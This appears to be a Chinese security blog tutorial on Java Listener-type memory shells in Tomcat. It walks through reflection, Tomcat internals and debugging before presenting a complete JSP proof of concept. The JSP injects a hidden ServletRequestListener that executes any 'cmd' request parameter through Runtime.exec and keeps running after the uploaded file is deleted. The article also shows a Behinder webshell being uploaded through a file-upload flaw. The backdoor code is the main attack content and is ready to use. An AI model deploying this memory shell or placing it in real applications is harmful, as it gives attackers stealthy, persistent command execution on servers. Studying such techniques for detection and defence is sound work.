声明:请勿利用本公众号文章内的相关技术、工具从事非法测试,如因此造成一切不良后果与文章作者及本公众号无关! |
继续来学习java内存马系列,如果需要看javaweb前面内容,可以通过上面链接查看。
0x01,什么是Java内存马?
Java内存马是一种隐蔽性很强的后门,它将恶意代码直接注入到Java Web应用的内存中运行,而不落地到磁盘上,这种攻击方式使得传统的杀毒软件难以检测,大大增加了攻击的成功率。
内存马的特点:
-
无文件化:恶意代码直接运行在内存中,不生成任何持久化的文件
-
隐蔽性强:难以被传统的安全防护手段检测到 -
持久性:一旦注入成功,可以长期存在,直到服务器重启或应用被卸载 -
灵活多样:可以实现多种功能,如远程命令执行、数据窃取、篡改等
上一篇整合案例中写了一个任意文件上传漏洞,可以上传jsp木马,简单演示通过上传一个冰蝎木马并注入内存马:
1)上传木马
2)客户端连接木马
// webshell url
http://localhost:9090/tianlong/images/shell.jsp
3)注入内存马
// 内存马url
http://localhost:9090/tianlong/memshell
/tianlong/memshell 因为是内存马,所以服务器本地是没有这个文件的。
冰蝎是别人写好的,即拿即用,我们秉着知其然还要知其所以然的态度,看看能不能自个儿分析分析内存马的原理,然后手动复现出来。
0x02,Java内存马的分类
根据注入方式和实现原理的不同,Java内存马大致可以分为以下几种类型:
1、servlet-api型内存马
-
原理:利用Servlet API提供的动态注册功能,在运行时添加新的组件(Listener、Filter、Servlet),并将恶意代码注入其中。
-
优点:实现相对简单,适用于各种Java Web容器。
-
缺点:相对容易被检测,因为涉及到对Servlet容器API的直接调用。
2、字节码增强型内存马
-
原理:利用Java Agent技术,在类加载阶段对字节码进行修改,注入恶意代码。
-
优点:隐蔽性高,难以被检测。
-
缺点:实现相对复杂,需要对Java字节码和Agent技术有深入了解。
3、其他类型
-
基于Spring框架下的Controller、Intercepter内存马
-
基于反序列化漏洞的内存马
-
基于字节码注入的内存马
-
等等
短期内应该只会介绍 servlet-api 型内存马,也就是通过反射技术动态注册Servlet、Filter、Listener三大组件的方式来实现内存马注入。
前面几节已经详细介绍了JavaWeb三大组件,因为是基础知识,建议没了解的可以先去瞅一眼
Filter和Listener组件
0xNvyao,公众号:安全随笔JavaWeb之Filter、Listener组件
Servlet组件
0xNvyao,公众号:安全随笔JavaWeb之HTTP、Tomcat、Servlet
深入了解了这三个核心组件后,就能知道Java内存马是如何利用这三个组件的了。
Servlet型内存马:
-
实现方式:动态注册一个新Servlet,将恶意代码注入到Servlet的service方法中。
-
触发条件:当客户端访问这个Servlet时,恶意代码就会被执行。
Filter型内存马:
-
实现方式:动态注册一个新Filter,将恶意代码注入到Filter的doFilter方法中。
-
触发条件:当请求经过这个Filter时,恶意代码就会被执行。
Listener型内存马:
-
实现方式:动态注册一个新Listener,将恶意代码注入到Listener的事件处理方法中。 -
触发条件:当发生特定的事件时,恶意代码就会被执行。
笔者看了不少javaweb内存马的文章,总结下来还是Listener内存马的原理比较简单,太菜了就以Listener内存马来展开分析吧~~
0x03,背景知识预热
java反射
反射允许对成员变量、成员方法和构造方案的信息进行编程访问。
通俗来说是java提供了一种在运行时检查类、操作类的能力。反射完全打破了java类的封装性,例如类的私有属性,理论上从类的封装性角度说是一种安全机制,但是通过反射可以暴力打破封装性来获取类的私有属性(暴力反射)。但是反射又是一个非常重要的技术,很多框架(例如Srping)都大量使用了反射机制来实现。
需要详细了解可以参考笔者之前的文章,里面的(五、简单介绍什么是java反射)部分,之前文章中都介绍过这里不赘述了。
一篇文章说清楚URLDNS链
0xNvyao,公众号:安全随笔一篇文章说清楚URLDNS链
通过一段代码来感受反射是干啥的:
1)Student实体类,包含三个私有属性、有参构造方法和一个有参成员方法
package com.nvyao.reflection;
public class Student {
private String name;
private Integer age;
private String address;
public Student(String name, Integer age, String address) {
this.name = name;
this.age = age;
this.address = address;
}
public void study(String subject) {
System.out.println(this.name + "来自" + this.address + ",今年" +this.age+ "岁了!" + "他正在学习" + subject);
}
}
2)main方法进行反射
package com.nvyao.reflection;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ReflecDemo {
public static void main(String[] args) throws Exception {
// 1. 获取Student类的Class对象
Class<?> studentClass = Class.forName("com.nvyao.reflection.Student"); // 替换成你的包名和类名
// 2. 获取有参数构造方法
Constructor<?> constructor = studentClass.getConstructor(String.class, Integer.class, String.class);
// 3. 创建Student对象
Object studentObject = constructor.newInstance("张三", 20, "北京");
// 4. 获取study方法(有参数和无参数不同)
Method studyMethod = studentClass.getMethod("study", String.class);
studyMethod.setAccessible(true);
// 5. 调用study方法
studyMethod.invoke(studentObject, "Java");
// 6. 反射读取Private私有属性
Field usernameField = studentClass.getDeclaredField("name");
Field ageField = studentClass.getDeclaredField("age");
Field addressField = studentClass.getDeclaredField("address");
usernameField.setAccessible(true);
ageField.setAccessible(true);
addressField.setAccessible(true);
String usernameValue = (String) usernameField.get(studentObject);
Integer ageValue = (Integer) ageField.get(studentObject);
String addressValue = (String) addressField.get(studentObject);
System.out.println("暴力反射读取私有属性:" + usernameValue + "|" + ageValue + "|" + addressValue);
}
}
打印看下效果:
看到了吧,什么私有属性,在反射面前都是赤裸裸的~~
tomcat架构
在 Tomcat 中,有两个类StandardContext 和 StandardHostValve 非常重要,它们共同参与了 Tomcat 的请求处理流程。为了更好地理解它们之间的关系,我们先来简单回顾一下 Tomcat 的容器结构:
网上找了一张tomcat架构设计图,非常具象,通过这张图我们可以形象的知道Tomcat是如何处理请求的:
-
Engine: 整个容器的根,代表一个 Catalina 虚拟机。
-
Host: 表示一个虚拟主机,可以配置多个虚拟主机。
-
Context: 代表一个 Web 应用程序,一个 Host 可以包含多个 Context。
-
Wrapper: 代表一个 Servlet,一个 Context 可以包含多个 Wrapper。
StandardContext 和 StandardHostValve 的关系是:
-
代表一个 Web 应用程序。 -
包含了 Servlet、Filter、Listener 等组件的信息。 -
负责管理 Web 应用程序的生命周期。
StandardHostValve:
-
是 StandardHost 容器的默认 Valve。 -
当请求到达一个 Host 时,StandardHostValve 会负责将请求分发到对应的 Context。 -
它会根据请求的 URL 路径来匹配相应的 Context。
等会后面debug调试 ServletRequestListener 监听器会用到这两个类。
0x04,Listener内存马分析
Listener监听器的分类
既然是介绍Listener内存马,当然先回顾下Listener监听器的概念。在前面介绍到JavaWeb的Listener组件的时候,我们介绍了Listener组件的分类,如下:
-
ServletContext 监听器:实现 ServletContextListener 接口,用于监听 Web 应用的启动和关闭事件,可以在 Web 应用启动和关闭时执行相应的操作。
-
HttpSession 监听器:实现 HttpSessionListener 接口,用于监听会话(Session)的创建和销毁事件,以及会话属性的变化等。可以用来统计在线人数对吧
-
ServletRequest 监听器:实现 ServletRequestListener 接口,用于监听请求(Request)的创建和销毁事件,以及请求属性的变化等。
显然,ServletRequestListener是最适合用来制作Listener内存马的。因为ServletRequestListener 是用来对Request对象的创建、销毁进行监听的,也就是说当客户端访问任意资源时(ServletRequest对象被创建)都会触发ServletRequestListener#requestInitialized()方法执行。这样当创建了Listener的内存马,就比较容易触发执行。我们可以通过Listener来实现一个恶意后门,先感受一下ServletRequestListener的如何运作的:
package com.nvyao.web.listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@WebListener //这个注解必须,代表该Listener生效,或者通过xml配置文件配置生效
public class MyListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest httpServletRequest = (HttpServletRequest) sre.getServletRequest();
String url = httpServletRequest.getRequestURL().toString();
System.out.println("MyListener监听器的requestInitialized方法被执行,url:" + url);
String cmd = httpServletRequest.getParameter("cmd");
System.out.println(cmd);
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
}
requestInitialized方法中一是打印当前请求的url,二是通过HttpServletRequest 对象接收cmd参数并执行。因此如果这个Listener生效每次请求都会执行requestInitialized 方法,也就会弹出计算器。
// 测试url
http://localhost:9090/tianlong/selectAllHeroesServlet?cmd=open%20-a%20Calculator
写个demo我们就能很好的认识 ServletRequestListener 的是干啥的了。
源码跟踪调试
上面是通过手动写一个恶意Listener到项目中,接下来我们debug调试一下Listener的调用执行流程,走一下源码分析,因为我们不可能把恶意Listener类写到目标项目中的,所以我们分析的目的是为了后面攻击需要写POC代码。
1)在刚刚自定义MyListener类的requestInitialized方法打一个断点,并以debug模式重启项目
项目重启后就有请求到服务端,所以程序会来到断点处
2)在IDEA的Frames中,可以看到详细的调用栈帧的顺序关系
如上图可以看到,由StandardContext#fireRequestInitEvent调用了自定义的MyListener监听器
3)继续看StandardContext#fireRequestInitEvent方法
@Override
public boolean fireRequestInitEvent(ServletRequest request) {
//获取所有的Listenders监听器数组
Object instances[] = getApplicationEventListeners();
if ((instances != null) && (instances.length > 0)) {
ServletRequestEvent event =
new ServletRequestEvent(getServletContext(), request);
// 遍历所有的Listener数组
for (int i = 0; i < instances.length; i++) {
if (instances[i] == null)
continue;
if (!(instances[i] instanceof ServletRequestListener))
continue;
ServletRequestListener listener =
(ServletRequestListener) instances[i];
try {
// 触发Listener调用
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instances[i].getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}
StandardContext#fireRequestInitEvent方法的关键代码是:
-
Object instances[] = getApplicationEventListeners();
-
listener.requestInitialized(event)方法触发Listener;
4)继续跟进看StandardContext#getApplicationEventListeners
可以看到Listener实际上是存储在StandardContext对象的applicationEventListenersList属性中的,applicationEventListenersList是StandardContext类对象的一个属性,通过IDEA查看该类的Structure结构,可以找到StandardContext类有个addApplicationEventListener方法,这是重点!!!
总结一下就是StandardContext类的fireRequestInitEvent方法获取并遍历所有的Listener执行,然后StandardContext类也提供了addApplicationEventListener方法,这样的话如果通过反射是不是可以非法调用addApplicationEventListener来添加恶意Listener?
5)接下来就得分析如何去拿到StandardContext对象
继续分析debug调试中的栈帧,找到上一条StandardHostValue#invoke,进去继续分析:
可以看到在StandardHostValue#invoke方法中,通过 Context context = request.getContext(); 获取StandardContext对象
📒笔记📒:所以经过上面对StandardHostValue类和StandardContext类的分析,可以总结到,如果能拿到request对象,通过反射再拿到StandardContext对象,再通过反射来执行addApplicationEventListener方法注册一个Listener,就完成了攻击链。
但这里我们先思考一个问题:jsp中可以直接拿到request对象,为啥不直接通过request对象来获取Context对象,而是要通过反射来获取呢?答案是因为在 jsp 中通过 ServletContext servletContext = request.getServletContext(); 获取的是ServletContext类型,而不是我们需要的StandardContext 类型。
POC编写
1)反射部分
反射部分这几行代码是不好理解的,我也是花了大半天时间,再复习了反射的知识之后才弄明白,慢慢捋一捋。
<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
MemShell_Listener memShell_Listener = new MemShell_Listener();
standardContext.addApplicationEventListener(memShell_Listener);
%>
首先,通过System.out.println(request.getClass().getName()); 打印出request对象的类型,结果是 org.apache.catalina.connector.RequestFacade,然后去RequestFacade类中找到getServletContext()方法,可以看到返回值是ServletContext,因此我们第一行代码是:ServletContext servletContext = request.getServletContext(); 就是这么来的。
然后,因为ServletContext是接口,我们需要定位到具体是这个接口的哪个实现类,其实这个接口有两个实现类(ApplicationContextFacade和ApplicationContext),可以通过servletContext.getClass().getName()打印servletContext对象的类名,打印结果是:org.apache.catalina.core.ApplicationContextFacade,到这就定位了ServletContext对象的实际类类型。
然后,我们进入ApplicationContextFacade类,寻找context属性,可以看到属性类型是ApplicationContext类型并且是私有属性,得上反射大招了...
// 尝试获取名为 "context" 的字段,并且暴力获取private私有属性
Field contextField = servletContextClass.getDeclaredField("context");
contextField.setAccessible(true);
这里反射得到的contextField 是ApplicationContext类型。然后通过ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); 拿到ApplicationContext值并类型强转。
最后我们在进入ApplicationContext看看,属性context是StandardContext类型,这个不正式我们需要的Context吗,然后同样的方法反射再获取一边,就拿到了StandardContext类型的Context:
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
拿到后最后就可以调用StandardContext.addApplicationEventListener方法来注入恶意Listener类了。
是不是感觉挺乱的,当你按照这个过程捋一遍就明白了,为啥这里反射要这么玩。原因还是因为存在不同类型的Context造成的。至少我们看到了:
ServletContext、ApplicationContext、StandardContext
2)恶意Listener部分
恶意Listener代码就比较好理解了,主要是<%! 大家知道什么意思嘛
<%!
public class MemShell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
3)完整POC代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%!
public class MemShell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
System.out.println(request.getClass().getName()); //org.apache.catalina.connector.RequestFacade
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
MemShell_Listener memShell_Listener = new MemShell_Listener();
standardContext.addApplicationEventListener(memShell_Listener);
%>
0x05,攻击测试
1)先把之前写的MyListener监听器失效,将注解@WebListener注释即可:
重启项目,如果访问 http://localhost:9090/tianlong/selectAllHeroesServlet?cmd=open%20-a%20Calculator 不再弹出计算器,证明MyListener监听器已经失效
2)然后我们将刚刚的POC jsp文件上传:
上传后jsp文件路径是
http://localhost:9090/tianlong/images/memshelldemo.jsp
如果我们前面分析的没问题,一旦访问这个jsp,就会通过反射的方式将恶意Listener注入到服务端:
访问没有报错,再去弹出计算器看看:
成功弹出计算器,证明刚刚编写的反射以及恶意Listener已经注入成功,并且是注入到内存中,即使将刚刚上传的jsp文件删除也不影响执行。
3)先删除POC jsp文件,再测试内存马
再一次弹出计算器:
到此我们也就能够比较形象的理解什么是java内存马(Listener型,其他的类型:Servlet型、Filter型也差不多)。
最后,希望这篇文章可以让你们对内存马有个更深入的了解
原文始发于微信公众号(安全随笔):JavaWeb之深入浅出Listener内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论